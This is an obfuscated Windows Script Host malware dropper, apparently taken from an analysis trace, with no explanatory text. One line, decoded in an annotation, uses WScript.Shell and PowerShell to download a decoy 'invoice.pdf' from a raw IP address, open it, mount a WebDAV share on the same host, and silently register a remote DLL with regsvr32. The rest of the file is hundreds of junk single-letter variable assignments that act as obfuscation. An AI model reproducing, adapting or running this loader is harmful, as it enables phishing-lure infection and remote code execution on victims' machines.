13	this[kykyrs + hubvme + sisyj + upzuyjweh + nthazsjpj + nsptffkdf + ngkockbjq][wxogy + upzuyjweh + eipsdme + ldpjjqndv + ngkockbjq + eipsdme + siamix + lwirczbgh + ntlvrqn + eipsdme + sisyj + ngkockbjq] ( kykyrs + hubvme + sisyj + upzuyjweh + nthazsjpj + nsptffkdf + ngkockbjq + rauiviok + hubvme + ztvues + eipsdme + nxanx + nxanx ) [upzuyjweh + xenjjl + pycssuuow] ( sisyj + wdnkg + buboypv + cpvbotl + ybchav + sisyj + cpvbotl + nsptffkdf + mwimo + ywidj + eipsdme + upzuyjweh + zjbiwjabz + ztvues + eipsdme + nxanx + nxanx + rauiviok + eipsdme + sdsegsbr + eipsdme + cpvbotl + wzoqolyb + wxogy + mwimo + wdnkg + wdnkg + ldpjjqndv + pycssuuow + buboypv + cpvbotl + crftcdib + poqbjsl + pycssuuow + ukgivneg + mwimo + negepamt + eipsdme + wzoqolyb + kykyrs + eipsdme + lwirczbgh + mevlorih + eipsdme + kxjqbcci + xenjjl + eipsdme + zjbiwjabz + ngkockbjq + cpvbotl + wzoqolyb + siamix + xenjjl + ngkockbjq + jraeb + nthazsjpj + nxanx + eipsdme + cpvbotl + pbdzimamq + ngkockbjq + eipsdme + wdnkg + nsptffkdf + pbdzimamq + nflmyvlfa + nthazsjpj + pycssuuow + ukgivneg + mwimo + nthazsjpj + sisyj + eipsdme + rauiviok + nsptffkdf + buboypv + eldmfkeuq + cpvbotl + ztvues + ngkockbjq + ngkockbjq + nsptffkdf + rmsakyxh + ybchav + ybchav + eusxkh + wcnfldce + vsaeycdgc + rauiviok + eusxkh + qtsrotvze + vsaeycdgc + rauiviok + eusxkh + rauiviok + poxds + nmjoe + ivyxppxfl + ybchav + nthazsjpj + pycssuuow + ukgivneg + mwimo + nthazsjpj + sisyj + eipsdme + rauiviok + nsptffkdf + ztvues + nsptffkdf + crftcdib + oqcpusru + oqcpusru + zjbiwjabz + ngkockbjq + ldpjjqndv + upzuyjweh + ngkockbjq + cpvbotl + pbdzimamq + ngkockbjq + eipsdme + wdnkg + nsptffkdf + pbdzimamq + nflmyvlfa + nthazsjpj + pycssuuow + ukgivneg + mwimo + nthazsjpj + sisyj + eipsdme + rauiviok + nsptffkdf + buboypv + eldmfkeuq + oqcpusru + oqcpusru + sisyj + wdnkg + buboypv + cpvbotl + ybchav + sisyj + cpvbotl + pycssuuow + eipsdme + ngkockbjq + cpvbotl + xenjjl + zjbiwjabz + eipsdme + cpvbotl + nflmyvlfa + nflmyvlfa + eusxkh + wcnfldce + vsaeycdgc + rauiviok + eusxkh + qtsrotvze + vsaeycdgc + rauiviok + eusxkh + rauiviok + poxds + nmjoe + ivyxppxfl + utcvdmo + dfvjgo + dfvjgo + dfvjgo + dfvjgo + nflmyvlfa + buboypv + ldpjjqndv + ukgivneg + ywidj + ywidj + ywidj + upzuyjweh + mwimo + mwimo + ngkockbjq + nflmyvlfa + oqcpusru + oqcpusru + sisyj + wdnkg + buboypv + cpvbotl + ybchav + sisyj + cpvbotl + upzuyjweh + eipsdme + seexzutv + zjbiwjabz + ukgivneg + upzuyjweh + vsaeycdgc + poxds + cpvbotl + ybchav + zjbiwjabz + cpvbotl + nflmyvlfa + nflmyvlfa + eusxkh + wcnfldce + vsaeycdgc + rauiviok + eusxkh + qtsrotvze + vsaeycdgc + rauiviok + eusxkh + rauiviok + poxds + nmjoe + ivyxppxfl + utcvdmo + dfvjgo + dfvjgo + dfvjgo + dfvjgo + nflmyvlfa + buboypv + ldpjjqndv + ukgivneg + ywidj + ywidj + ywidj + upzuyjweh + mwimo + mwimo + ngkockbjq + nflmyvlfa + poxds + vsaeycdgc + eusxkh + ivyxppxfl + dfvjgo + poxds + vsaeycdgc + ivyxppxfl + dfvjgo + vsaeycdgc + vsaeycdgc + poxds + wcnfldce + rauiviok + buboypv + nxanx + nxanx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll",0,false) ➔ 0
14	}
15	jwbkvzf = "N";
16	jwbkvzf = "f";
17	jwbkvzf = "M";
18	jwbkvzf = "V";
19	jwbkvzf = "s";
20	jwbkvzf = "N";
21	jwbkvzf = "F";
22	jwbkvzf = "L";
23	jwbkvzf = "M";
24	jwbkvzf = "p";
25	jwbkvzf = "A";
26	jwbkvzf = "e";
27	jwbkvzf = "H";
28	jwbkvzf = "U";
29	jwbkvzf = "X";
30	jwbkvzf = "Q";
31	jwbkvzf = "u";
32	jwbkvzf = "O";
33	jwbkvzf = "K";
34	jwbkvzf = "o";
35	jwbkvzf = "g";
36	jwbkvzf = "N";
37	jwbkvzf = "A";
38	jwbkvzf = "A";
39	jwbkvzf = "s";
40	jwbkvzf = "P";
41	jwbkvzf = "N";
42	jwbkvzf = "H";
43	mevlorih = "r";
44	mevlorih = "H";
45	mevlorih = "d";
46	mevlorih = "j";
47	mevlorih = "o";
48	mevlorih = "u";
49	mevlorih = "H";
50	mevlorih = "T";
51	mevlorih = "c";
52	mevlorih = "Y";
53	mevlorih = "K";
54	mevlorih = "Y";
55	mevlorih = "E";
56	mevlorih = "U";
57	mevlorih = "U";
58	mevlorih = "r";
59	mevlorih = "V";
60	mevlorih = "O";
61	mevlorih = "D";
62	mevlorih = "t";
63	mevlorih = "R";
64	nsptffkdf = "g";
65	nsptffkdf = "q";
66	nsptffkdf = "A";
67	nsptffkdf = "r";
68	nsptffkdf = "V";
69	nsptffkdf = "i";
70	nsptffkdf = "O";
71	nsptffkdf = "g";
72	nsptffkdf = "y";
73	nsptffkdf = "b";
74	nsptffkdf = "D";
75	nsptffkdf = "H";
76	nsptffkdf = "Z";
77	nsptffkdf = "Z";
78	nsptffkdf = "s";
79	nsptffkdf = "n";
80	nsptffkdf = "g";
81	nsptffkdf = "K";
82	nsptffkdf = "k";
83	nsptffkdf = "c";
84	nsptffkdf = "v";
85	nsptffkdf = "Z";
86	nsptffkdf = "I";
87	nsptffkdf = "H";
88	nsptffkdf = "W";
89	nsptffkdf = "N";
90	nsptffkdf = "x";
91	nsptffkdf = "E";
92	nsptffkdf = "Y";
93	nsptffkdf = "A";
94	nsptffkdf = "L";
95	nsptffkdf = "j";
96	nsptffkdf = "z";
97	nsptffkdf = "A";
98	nsptffkdf = "p";
99	ngkockbjq = "X";
100	ngkockbjq = "h";
101	ngkockbjq = "k";
102	ngkockbjq = "d";
103	ngkockbjq = "L";
104	ngkockbjq = "s";
105	ngkockbjq = "y";
106	ngkockbjq = "r";
107	ngkockbjq = "i";
108	ngkockbjq = "Z";
109	ngkockbjq = "E";
110	ngkockbjq = "F";
111	ngkockbjq = "F";
112	ngkockbjq = "N";
113	ngkockbjq = "Q";
114	ngkockbjq = "K";
115	ngkockbjq = "Y";
116	ngkockbjq = "m";
117	ngkockbjq = "K";
118	ngkockbjq = "r";
119	ngkockbjq = "T";
120	ngkockbjq = "F";
121	ngkockbjq = "Z";
122	ngkockbjq = "B";
123	ngkockbjq = "c";
124	ngkockbjq = "U";
125	ngkockbjq = "F";
126	ngkockbjq = "U";
127	ngkockbjq = "e";
128	ngkockbjq = "h";
129	ngkockbjq = "E";
130	ngkockbjq = "Z";
131	ngkockbjq = "t";
132	lwirczbgh = "y";
133	lwirczbgh = "i";
134	lwirczbgh = "V";
135	lwirczbgh = "e";
136	lwirczbgh = "c";
137	lwirczbgh = "T";
138	lwirczbgh = "O";
139	lwirczbgh = "T";
140	lwirczbgh = "I";
141	lwirczbgh = "t";
142	lwirczbgh = "b";
143	mwimo = "L";
144	mwimo = "h";
145	mwimo = "d";
146	mwimo = "k";
147	mwimo = "h";
148	mwimo = "V";
149	mwimo = "f";
150	mwimo = "J";
151	mwimo = "V";
152	mwimo = "k";
153	mwimo = "L";
154	mwimo = "w";
155	mwimo = "c";
156	mwimo = "f";
157	mwimo = "f";
158	mwimo = "L";
159	mwimo = "n";
160	mwimo = "o";
161	mwimo = "O";
162	mwimo = "m";
163	mwimo = "o";
164	mwimo = "E";
165	mwimo = "e";
166	mwimo = "G";
167	mwimo = "G";
168	mwimo = "N";
169	mwimo = "v";
170	mwimo = "F";
171	mwimo = "d";
172	mwimo = "I";
173	mwimo = "D";
174	mwimo = "y";
175	mwimo = "b";
176	mwimo = "N";
177	mwimo = "L";
178	mwimo = "N";
179	mwimo = "g";
180	mwimo = "h";
181	mwimo = "T";
182	mwimo = "a";
183	mwimo = "o";
184	nxanx = "Y";
185	nxanx = "n";
186	nxanx = "r";
187	nxanx = "y";
188	nxanx = "V";
189	nxanx = "C";
190	nxanx = "l";
191	nxanx = "l";
192	nxanx = "F";
193	nxanx = "R";
194	nxanx = "C";
195	nxanx = "Q";
196	nxanx = "n";
197	nxanx = "j";
198	nxanx = "l";
199	cpvbotl = "x";
200	cpvbotl = "j";
201	cpvbotl = "i";
202	cpvbotl = "K";
203	cpvbotl = "o";
204	cpvbotl = "R";
205	cpvbotl = "p";
206	cpvbotl = "L";
207	cpvbotl = "n";
208	cpvbotl = "D";
209	cpvbotl = "J";
210	cpvbotl = "C";
211	cpvbotl = "b";
212	cpvbotl = "a";
213	cpvbotl = "O";
214	cpvbotl = "h";
215	cpvbotl = "K";
216	cpvbotl = "n";
217	cpvbotl = "Y";
218	cpvbotl = "D";
219	cpvbotl = "t";
220	cpvbotl = "K";
221	cpvbotl = "N";
222	cpvbotl = "D";
223	cpvbotl = "I";
224	cpvbotl = "Y";
225	cpvbotl = "g";
226	cpvbotl = "K";
227	cpvbotl = "m";
228	cpvbotl = "E";
229	cpvbotl = "a";
230	cpvbotl = "O";
231	cpvbotl = " ";
232	omlqkya = "K";
233	eipsdme = "n";
234	eipsdme = "A";
235	eipsdme = "x";
236	eipsdme = "E";
237	eipsdme = "I";
238	eipsdme = "D";
239	eipsdme = "e";
240	eipsdme = "G";
241	eipsdme = "j";
242	eipsdme = "Q";
243	eipsdme = "f";
244	eipsdme = "s";
245	eipsdme = "U";
246	eipsdme = "y";
247	eipsdme = "G";
248	eipsdme = "D";
249	eipsdme = "n";
250	eipsdme = "Z";
251	eipsdme = "c";
252	eipsdme = "D";
253	eipsdme = "V";
254	eipsdme = "l";
255	eipsdme = "o";
256	eipsdme = "g";
257	eipsdme = "e";
258	crftcdib = "Y";
259	crftcdib = "T";
260	crftcdib = "J";
261	crftcdib = "h";
262	crftcdib = "w";
263	crftcdib = "v";
264	crftcdib = "b";
265	crftcdib = "f";
266	crftcdib = "I";
267	crftcdib = "o";
268	crftcdib = "T";
269	crftcdib = "S";
270	crftcdib = "D";
271	crftcdib = "L";
272	crftcdib = "x";
273	crftcdib = "D";
274	crftcdib = "u";
275	crftcdib = "F";
276	crftcdib = "D";
277	crftcdib = "N";
278	crftcdib = "G";
279	crftcdib = "r";
280	crftcdib = "b";
281	crftcdib = "S";
282	crftcdib = "L";
283	crftcdib = "h";
284	crftcdib = "C";
285	crftcdib = "c";
286	crftcdib = "t";
287	crftcdib = "J";
288	crftcdib = "V";
289	crftcdib = "a";
290	crftcdib = "L";
291	crftcdib = "Y";
292	crftcdib = "m";
293	crftcdib = "a";
294	crftcdib = "f";
295	crftcdib = "y";
296	crftcdib = "W";
297	crftcdib = "s";
298	crftcdib = "R";
299	crftcdib = "C";
300	crftcdib = "E";
301	crftcdib = "F";
302	crftcdib = "\"";
303	eusxkh = "w";
304	eusxkh = "t";
305	eusxkh = "Z";
306	eusxkh = "c";
307	eusxkh = "p";
308	eusxkh = "j";
309	eusxkh = "Y";
310	eusxkh = "R";
311	eusxkh = "M";
312	eusxkh = "H";
313	eusxkh = "l";
314	eusxkh = "r";
315	eusxkh = "g";
316	eusxkh = "e";
317	eusxkh = "k";
318	eusxkh = "y";
319	eusxkh = "a";
320	eusxkh = "d";
321	eusxkh = "M";
322	eusxkh = "k";
323	eusxkh = "l";
324	eusxkh = "w";
325	eusxkh = "e";
326	eusxkh = "N";
327	eusxkh = "G";
328	eusxkh = "z";
329	eusxkh = "z";
330	eusxkh = "V";
331	eusxkh = "V";
332	eusxkh = "J";
333	eusxkh = "H";
334	eusxkh = "v";
335	eusxkh = "i";
336	eusxkh = "Z";
337	eusxkh = "S";
338	eusxkh = "Y";
339	eusxkh = "N";
340	eusxkh = "z";
341	eusxkh = "1";
342	ivyxppxfl = "v";
343	ivyxppxfl = "O";
344	ivyxppxfl = "f";
345	ivyxppxfl = "g";
346	ivyxppxfl = "G";
347	ivyxppxfl = "z";
348	ivyxppxfl = "K";
349	ivyxppxfl = "l";
350	ivyxppxfl = "m";
351	ivyxppxfl = "w";
352	ivyxppxfl = "R";
353	ivyxppxfl = "C";
354	ivyxppxfl = "R";
355	ivyxppxfl = "G";
356	ivyxppxfl = "I";
357	ivyxppxfl = "F";
358	ivyxppxfl = "N";
359	ivyxppxfl = "c";
360	ivyxppxfl = "G";
361	ivyxppxfl = "J";
362	ivyxppxfl = "t";
363	ivyxppxfl = "P";
364	ivyxppxfl = "F";
365	ivyxppxfl = "w";
366	ivyxppxfl = "A";
367	ivyxppxfl = "O";
368	ivyxppxfl = "H";
369	ivyxppxfl = "B";
370	ivyxppxfl = "E";
371	ivyxppxfl = "c";
372	ivyxppxfl = "5";
373	ntlvrqn = "B";
374	ntlvrqn = "i";
375	ntlvrqn = "Z";
376	ntlvrqn = "K";
377	ntlvrqn = "E";
378	ntlvrqn = "x";
379	ntlvrqn = "l";
380	ntlvrqn = "G";
381	ntlvrqn = "t";
382	ntlvrqn = "O";
383	ntlvrqn = "c";
384	ntlvrqn = "T";
385	ntlvrqn = "k";
386	ntlvrqn = "w";
387	ntlvrqn = "S";
388	ntlvrqn = "o";
389	ntlvrqn = "y";
390	ntlvrqn = "X";
391	ntlvrqn = "H";
392	ntlvrqn = "W";
393	ntlvrqn = "I";
394	ntlvrqn = "m";
395	ntlvrqn = "d";
396	ntlvrqn = "U";
397	ntlvrqn = "g";
398	ntlvrqn = "p";
399	ntlvrqn = "x";
400	ntlvrqn = "C";
401	ntlvrqn = "y";
402	ntlvrqn = "J";
403	ntlvrqn = "k";
404	ntlvrqn = "M";
405	ntlvrqn = "V";
406	ntlvrqn = "J";
407	ntlvrqn = "J";
408	ntlvrqn = "t";
409	ntlvrqn = "T";
410	ntlvrqn = "z";
411	ntlvrqn = "j";
412	ntlvrqn = "D";
413	ntlvrqn = "r";
414	ntlvrqn = "H";
415	ntlvrqn = "j";
416	upzuyjweh = "V";
417	upzuyjweh = "Q";
418	upzuyjweh = "Y";
419	upzuyjweh = "d";
420	upzuyjweh = "s";
421	upzuyjweh = "G";
422	upzuyjweh = "W";
423	upzuyjweh = "l";
424	upzuyjweh = "Y";
425	upzuyjweh = "u";
426	upzuyjweh = "j";
427	upzuyjweh = "B";
428	upzuyjweh = "f";
429	upzuyjweh = "p";
430	upzuyjweh = "j";
431	upzuyjweh = "f";
432	upzuyjweh = "Y";
433	upzuyjweh = "z";
434	upzuyjweh = "V";
435	upzuyjweh = "r";
436	upzuyjweh = "z";
437	upzuyjweh = "m";
438	upzuyjweh = "G";
439	upzuyjweh = "J";
440	upzuyjweh = "P";
441	upzuyjweh = "x";
442	upzuyjweh = "Z";
443	upzuyjweh = "Y";
444	upzuyjweh = "C";
445	upzuyjweh = "u";
446	upzuyjweh = "N";
447	upzuyjweh = "L";
448	upzuyjweh = "l";
449	upzuyjweh = "a";
450	upzuyjweh = "b";
451	upzuyjweh = "K";
452	upzuyjweh = "R";
453	upzuyjweh = "r";
454	poqbjsl = "n";
455	poqbjsl = "m";
456	poqbjsl = "c";
457	poqbjsl = "p";
458	poqbjsl = "u";
459	poqbjsl = "S";
460	poqbjsl = "D";
461	poqbjsl = "o";
462	poqbjsl = "u";
463	poqbjsl = "b";
464	poqbjsl = "A";
465	poqbjsl = "t";
466	poqbjsl = "M";
467	poqbjsl = "d";
468	poqbjsl = "S";
469	poqbjsl = "c";
470	poqbjsl = "m";
471	poqbjsl = "x";
472	poqbjsl = "S";
473	poqbjsl = "l";
474	poqbjsl = "p";
475	poqbjsl = "l";
476	poqbjsl = "L";
477	poqbjsl = "T";
478	poqbjsl = "H";
479	poqbjsl = "G";
480	poqbjsl = "z";
481	poqbjsl = "N";
482	poqbjsl = "I";
483	utcvdmo = "V";
484	utcvdmo = "x";
485	utcvdmo = "v";
486	utcvdmo = "Q";
487	utcvdmo = "d";
488	utcvdmo = "S";
489	utcvdmo = "A";
490	utcvdmo = "A";
491	utcvdmo = "w";
492	utcvdmo = "m";
493	utcvdmo = "d";
494	utcvdmo = "l";
495	utcvdmo = "x";
496	utcvdmo = "N";
497	utcvdmo = "Y";
498	utcvdmo = "K";
499	utcvdmo = "j";
500	utcvdmo = "L";
501	utcvdmo = "X";
502	utcvdmo = "D";
503	utcvdmo = "r";
504	utcvdmo = "m";
505	utcvdmo = "F";
506	utcvdmo = "H";
507	utcvdmo = "X";
508	utcvdmo = "W";
509	utcvdmo = "Y";
510	utcvdmo = "W";
511	utcvdmo = "I";
512	utcvdmo = "a";
513	utcvdmo = "U";
514	utcvdmo = "I";
515	utcvdmo = "b";
516	utcvdmo = "R";
517	utcvdmo = "V";
518	utcvdmo = "h";
519	utcvdmo = "b";
520	utcvdmo = "h";
521	utcvdmo = "I";
522	utcvdmo = "y";
523	utcvdmo = "N";
524	utcvdmo = "@";
525	ywidj = "e";
526	ywidj = "O";
527	ywidj = "t";
528	ywidj = "h";
529	ywidj = "M";
530	ywidj = "S";
531	ywidj = "H";
532	ywidj = "Q";
533	ywidj = "E";
534	ywidj = "H";
535	ywidj = "J";
536	ywidj = "b";
537	ywidj = "b";
538	ywidj = "Q";
539	ywidj = "Z";
540	ywidj = "c";
541	ywidj = "s";
542	ywidj = "S";
543	ywidj = "d";
544	ywidj = "O";
545	ywidj = "o";
546	ywidj = "w";
547	ukgivneg = "a";
548	ukgivneg = "r";
549	ukgivneg = "V";
550	ukgivneg = "i";
551	ukgivneg = "g";
552	ukgivneg = "x";
553	ukgivneg = "X";
554	ukgivneg = "G";
555	ukgivneg = "v";
556	ukgivneg = "s";
557	ukgivneg = "I";
558	ukgivneg = "P";
559	ukgivneg = "w";
560	ukgivneg = "v";
561	sdjleonhw = "Q";
562	sdjleonhw = "C";
563	sdjleonhw = "M";
564	sdjleonhw = "A";
565	sdjleonhw = "E";
566	sdjleonhw = "w";
567	sdjleonhw = "F";
568	sdjleonhw = "E";
569	zogfzg = "n";
570	zogfzg = "i";
571	zogfzg = "M";
572	zogfzg = "O";
573	zogfzg = "z";
574	zogfzg = "H";
575	zogfzg = "R";
576	zogfzg = "e";
577	zogfzg = "S";
578	zogfzg = "J";
579	zogfzg = "U";
580	zogfzg = "N";
581	zogfzg = "B";
582	zogfzg = "q";
583	zogfzg = "Z";
584	zogfzg = "k";
585	zogfzg = "b";
586	zogfzg = "x";
587	zogfzg = "s";
588	zogfzg = "t";
589	zogfzg = "h";
590	zogfzg = "n";
591	zogfzg = "g";
592	zogfzg = "N";
593	zogfzg = "c";
594	zogfzg = "I";
595	zogfzg = "x";
596	zogfzg = "n";
597	zogfzg = "I";
598	zogfzg = "V";
599	zogfzg = "J";
600	zogfzg = "U";
601	zogfzg = "P";
602	zogfzg = "D";
603	zogfzg = "X";
604	zogfzg = "T";
605	zogfzg = "_";
606	eybbiai = "z";
607	eybbiai = "o";
608	eybbiai = "x";
609	eybbiai = "Y";
610	eybbiai = "u";
611	eybbiai = "C";
612	eybbiai = "v";
613	eybbiai = "r";
614	eybbiai = "K";
615	eybbiai = "f";
616	eybbiai = "N";
617	hwlfso = "D";
618	hwlfso = "m";
619	hwlfso = "a";
620	hwlfso = "r";
621	hwlfso = "W";
622	hwlfso = "D";
623	hwlfso = "C";
624	hwlfso = "d";
625	hwlfso = "B";
626	hwlfso = "j";
627	hwlfso = "m";
628	hwlfso = "X";
629	hwlfso = "l";
630	hwlfso = "i";
631	hwlfso = "h";
632	hwlfso = "x";
633	hwlfso = "e";
634	hwlfso = "k";
635	hwlfso = "W";
636	hwlfso = "q";
637	hwlfso = "O";
638	hwlfso = "O";
639	hwlfso = "P";
640	hwlfso = "N";
641	hwlfso = "B";
642	hwlfso = "T";
643	pbdzimamq = "h";
644	pbdzimamq = "r";
645	pbdzimamq = "I";
646	pbdzimamq = "u";
647	pbdzimamq = "V";
648	pbdzimamq = "J";
649	pbdzimamq = "X";
650	pbdzimamq = "s";
651	pbdzimamq = "M";
652	pbdzimamq = "i";
653	pbdzimamq = "r";
654	pbdzimamq = "B";
655	pbdzimamq = "A";
656	pbdzimamq = "F";
657	pbdzimamq = "m";
658	pbdzimamq = "F";
659	pbdzimamq = "P";
660	pbdzimamq = "c";
661	pbdzimamq = "Y";
662	pbdzimamq = "x";
663	pbdzimamq = "x";
664	pbdzimamq = "%";
665	sdsegsbr = "q";
666	sdsegsbr = "z";
667	sdsegsbr = "z";
668	sdsegsbr = "g";
669	sdsegsbr = "o";
670	sdsegsbr = "J";
671	sdsegsbr = "Z";
672	sdsegsbr = "D";
673	sdsegsbr = "k";
674	sdsegsbr = "Z";
675	sdsegsbr = "V";
676	sdsegsbr = "d";
677	sdsegsbr = "V";
678	sdsegsbr = "d";
679	sdsegsbr = "f";
680	sdsegsbr = "e";
681	sdsegsbr = "v";
682	sdsegsbr = "U";
683	sdsegsbr = "n";
684	sdsegsbr = "P";
685	sdsegsbr = "I";
686	sdsegsbr = "C";
687	sdsegsbr = "f";
688	sdsegsbr = "d";
689	sdsegsbr = "p";
690	sdsegsbr = "G";
691	sdsegsbr = "D";
692	sdsegsbr = "x";
693	kxjqbcci = "W";
694	kxjqbcci = "f";
695	kxjqbcci = "x";
696	kxjqbcci = "C";
697	kxjqbcci = "g";
698	kxjqbcci = "Y";
699	kxjqbcci = "D";
700	kxjqbcci = "I";
701	kxjqbcci = "s";
702	kxjqbcci = "j";
703	kxjqbcci = "K";
704	kxjqbcci = "e";
705	kxjqbcci = "q";
706	kxjqbcci = "w";
707	kxjqbcci = "M";
708	kxjqbcci = "A";
709	kxjqbcci = "D";
710	kxjqbcci = "i";
711	kxjqbcci = "c";
712	kxjqbcci = "I";
713	kxjqbcci = "T";
714	kxjqbcci = "k";
715	kxjqbcci = "X";
716	kxjqbcci = "L";
717	kxjqbcci = "z";
718	kxjqbcci = "d";
719	kxjqbcci = "J";
720	kxjqbcci = "v";
721	kxjqbcci = "S";
722	kxjqbcci = "x";
723	kxjqbcci = "W";
724	kxjqbcci = "C";
725	kxjqbcci = "q";
726	kxjqbcci = "t";
727	kxjqbcci = "g";
728	kxjqbcci = "Z";
729	kxjqbcci = "f";
730	kxjqbcci = "i";
731	kxjqbcci = "c";
732	kxjqbcci = "j";
733	kxjqbcci = "q";
734	uvfupjyup = "R";
735	uvfupjyup = "f";
736	uvfupjyup = "w";
737	uvfupjyup = "o";
738	uvfupjyup = "C";
739	uvfupjyup = "U";
740	uvfupjyup = "y";
741	uvfupjyup = "y";
742	uvfupjyup = "c";
743	uvfupjyup = "u";
744	uvfupjyup = "Q";
745	nthazsjpj = "Z";
746	nthazsjpj = "a";
747	nthazsjpj = "S";
748	nthazsjpj = "K";
749	nthazsjpj = "w";
750	nthazsjpj = "n";
751	nthazsjpj = "H";
752	nthazsjpj = "H";
753	nthazsjpj = "r";
754	nthazsjpj = "B";
755	nthazsjpj = "n";
756	nthazsjpj = "C";
757	nthazsjpj = "o";
758	nthazsjpj = "i";
759	rmsakyxh = "r";
760	rmsakyxh = "H";
761	rmsakyxh = "X";
762	rmsakyxh = "d";
763	rmsakyxh = "S";
764	rmsakyxh = "b";
765	rmsakyxh = "o";
766	rmsakyxh = ":";
767	qtsrotvze = "f";
768	qtsrotvze = "r";
769	qtsrotvze = "b";
770	qtsrotvze = "W";
771	qtsrotvze = "w";
772	qtsrotvze = "i";
773	qtsrotvze = "c";
774	qtsrotvze = "b";
775	qtsrotvze = "H";
776	qtsrotvze = "q";
777	qtsrotvze = "m";
778	qtsrotvze = "a";
779	qtsrotvze = "N";
780	qtsrotvze = "R";
781	qtsrotvze = "s";
782	qtsrotvze = "Q";
783	qtsrotvze = "k";
784	qtsrotvze = "H";
785	qtsrotvze = "v";
786	qtsrotvze = "r";
787	qtsrotvze = "q";
788	qtsrotvze = "g";
789	qtsrotvze = "v";
790	qtsrotvze = "f";
791	qtsrotvze = "f";
792	qtsrotvze = "i";
793	qtsrotvze = "q";
794	qtsrotvze = "O";
795	qtsrotvze = "j";
796	qtsrotvze = "d";
797	qtsrotvze = "K";
798	qtsrotvze = "B";
799	qtsrotvze = "U";
800	qtsrotvze = "E";
801	qtsrotvze = "K";
802	qtsrotvze = "A";
803	qtsrotvze = "f";
804	qtsrotvze = "O";
805	qtsrotvze = "A";
806	qtsrotvze = "t";
807	qtsrotvze = "z";
808	qtsrotvze = "C";
809	qtsrotvze = "X";
810	qtsrotvze = "4";
811	ybchav = "I";
812	ybchav = "R";
813	ybchav = "R";
814	ybchav = "l";
815	ybchav = "p";
816	ybchav = "K";
817	ybchav = "o";
818	ybchav = "O";
819	ybchav = "g";
820	ybchav = "B";
821	ybchav = "Q";
822	ybchav = "n";
823	ybchav = "a";
824	ybchav = "C";
825	ybchav = "C";
826	ybchav = "n";
827	ybchav = "M";
828	ybchav = "V";
829	ybchav = "h";
830	ybchav = "T";
831	ybchav = "/";
832	siamix = "w";
833	siamix = "b";
834	siamix = "Z";
835	siamix = "n";
836	siamix = "x";
837	siamix = "j";
838	siamix = "w";
839	siamix = "O";
840	siamix = "p";
841	siamix = "G";
842	siamix = "f";
843	siamix = "X";
844	siamix = "l";
845	siamix = "s";
846	siamix = "r";
847	siamix = "Q";
848	siamix = "o";
849	siamix = "J";
850	siamix = "O";
851	ztvues = "X";
852	ztvues = "E";
853	ztvues = "Q";
854	ztvues = "c";
855	ztvues = "I";
856	ztvues = "a";
857	ztvues = "K";
858	ztvues = "D";
859	ztvues = "z";
860	ztvues = "H";
861	ztvues = "w";
862	ztvues = "J";
863	ztvues = "S";
864	ztvues = "k";
865	ztvues = "w";
866	ztvues = "M";
867	ztvues = "g";
868	ztvues = "F";
869	ztvues = "a";
870	ztvues = "C";
871	ztvues = "h";
872	dfvjgo = "v";
873	dfvjgo = "m";
874	dfvjgo = "I";
875	dfvjgo = "X";
876	dfvjgo = "S";
877	dfvjgo = "L";
878	dfvjgo = "L";
879	dfvjgo = "O";
880	dfvjgo = "y";
881	dfvjgo = "v";
882	dfvjgo = "i";
883	dfvjgo = "a";
884	dfvjgo = "e";
885	dfvjgo = "J";
886	dfvjgo = "q";
887	dfvjgo = "b";
888	dfvjgo = "o";
889	dfvjgo = "H";
890	dfvjgo = "L";
891	dfvjgo = "I";
892	dfvjgo = "v";
893	dfvjgo = "q";
894	dfvjgo = "c";
895	dfvjgo = "8";
896	qwbpvgd = "q";
897	qwbpvgd = "I";
898	qwbpvgd = "n";
899	qwbpvgd = "C";
900	qwbpvgd = "J";
901	qwbpvgd = "W";
902	qwbpvgd = "c";
903	qwbpvgd = "y";
904	qwbpvgd = "w";
905	qwbpvgd = "W";
906	qwbpvgd = "p";
907	qwbpvgd = "R";
908	qwbpvgd = "i";
909	qwbpvgd = "V";
910	qwbpvgd = "I";
911	qwbpvgd = "f";
912	qwbpvgd = "Y";
913	qwbpvgd = "A";
914	qwbpvgd = "t";
915	qwbpvgd = "d";
916	qwbpvgd = "i";
917	qwbpvgd = "e";
918	qwbpvgd = "X";
919	qwbpvgd = "f";
920	qwbpvgd = "X";
921	qwbpvgd = "p";
922	qwbpvgd = "C";
923	qwbpvgd = "Z";
924	qwbpvgd = "Q";
925	qwbpvgd = "w";
926	qwbpvgd = "P";
927	eldmfkeuq = "r";
928	eldmfkeuq = "Y";
929	eldmfkeuq = "e";
930	eldmfkeuq = "w";
931	eldmfkeuq = "U";
932	eldmfkeuq = "j";
933	eldmfkeuq = "A";
934	eldmfkeuq = "V";
935	eldmfkeuq = "d";
936	eldmfkeuq = "y";
937	eldmfkeuq = "I";
938	eldmfkeuq = "Y";
939	eldmfkeuq = "c";
940	eldmfkeuq = "w";
941	eldmfkeuq = "N";
942	eldmfkeuq = "m";
943	eldmfkeuq = "R";
944	eldmfkeuq = "u";
945	eldmfkeuq = "A";
946	eldmfkeuq = "c";
947	eldmfkeuq = "q";
948	eldmfkeuq = "d";
949	eldmfkeuq = "U";
950	eldmfkeuq = "L";
951	eldmfkeuq = "n";
952	eldmfkeuq = "T";
953	eldmfkeuq = "U";
954	eldmfkeuq = "m";
955	eldmfkeuq = "U";
956	eldmfkeuq = "o";
957	eldmfkeuq = "w";
958	eldmfkeuq = "l";
959	eldmfkeuq = "i";
960	eldmfkeuq = "M";
961	eldmfkeuq = "l";
962	eldmfkeuq = "K";
963	eldmfkeuq = "H";
964	eldmfkeuq = "Y";
965	eldmfkeuq = "a";
966	eldmfkeuq = "Q";
967	eldmfkeuq = "D";
968	eldmfkeuq = "v";
969	eldmfkeuq = "v";
970	eldmfkeuq = "d";
971	eldmfkeuq = "f";
972	wxogy = "s";
973	wxogy = "U";
974	wxogy = "j";
975	wxogy = "y";
976	wxogy = "P";
977	wxogy = "b";
978	wxogy = "s";
979	wxogy = "j";
980	wxogy = "M";
981	wxogy = "v";
982	wxogy = "L";
983	wxogy = "L";
984	wxogy = "j";
985	wxogy = "q";
986	wxogy = "Q";
987	wxogy = "E";
988	wxogy = "y";
989	wxogy = "J";
990	wxogy = "c";
991	wxogy = "b";
992	wxogy = "z";
993	wxogy = "t";
994	wxogy = "C";
995	jraeb = "F";
996	rauiviok = "X";
997	rauiviok = "R";
